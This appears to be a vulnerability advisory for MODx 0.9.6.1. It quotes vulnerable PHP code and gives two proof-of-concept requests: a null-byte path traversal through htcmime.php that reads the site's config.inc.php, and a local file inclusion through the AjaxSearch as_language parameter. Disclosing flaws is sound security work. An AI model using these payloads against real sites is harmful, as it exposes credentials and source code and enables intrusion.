+--> source code disclosure

Code Snippet:

/assets/js/htcmime.php Line#18-36

$fname = (array_key_exists("file", $_GET)) ? $_GET["file"] : ""; 

// basename() also strips \x00, we don't need to worry about ? and # in path:
// Must be real files anyway, fopen() does not support wildcards
$ext = array_pop(explode('.', basename($fname)));
if (strcasecmp($ext, "htc") != 0 || !file_exists($fname))
  exit ("No file specified, file not found or illegal file.");

$flen = filesize($fname);

header("Content-type: text/x-component");
header("Content-Length: ".$flen);
header("Content-Disposition: inline; filename=$fname");

$fp = fopen($fname, "r");

echo fread($fp, $flen);

fclose($fp);

[as developer comments out] When magic_quotes_gpc is disabled, its possible to bypass extension check via null character injection 
( because of null terminating behavior in any function that uses fopen_wrappers ) which could result in source code disclosure!

POC : http://localhost/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc


+-->Local file inclusion

Code Snippet:

/assets/snippets/AjaxSearch/AjaxSearch.php line#17-41

$stripHTML = $_POST['stripHTML'];
$stripSnip = $_POST['stripSnip'];
$stripSnippets = $_POST['stripSnippets'];
$useAllWords = $_POST['useAllWords'];
$searchStyle = $_POST['searchStyle'];
$minChars = $_POST['minChars'];
$maxResults = $_POST['maxResults'];
$showMoreResults = $_POST['showMoreResults'];
$moreResultsPage = $_POST['moreResultsPage'];
$as_language = $_POST['as_language'];
$extract = $_POST['extract'];
$docgrp = $_POST['docgrp'];
$highlightResult = $_POST['highlightResult'];

include_once MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/AjaxSearch.inc.php';
include MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/templates.inc.php';

#include default language file
include(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/english.inc.php");

#include other language file if set.
if($as_language!="english" && $as_language != '') {
	if(file_exists(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php"))
		include MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php";
}

There is no input validation here therefore its possible to set  $as_language which could result in local file inclusion!

POC:
Method=POST
Action=http://localhost/modx-0.9.6.1/index-ajax.php?
Name=as_language Value=../ajaxSearch_readme.txt%00
Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php
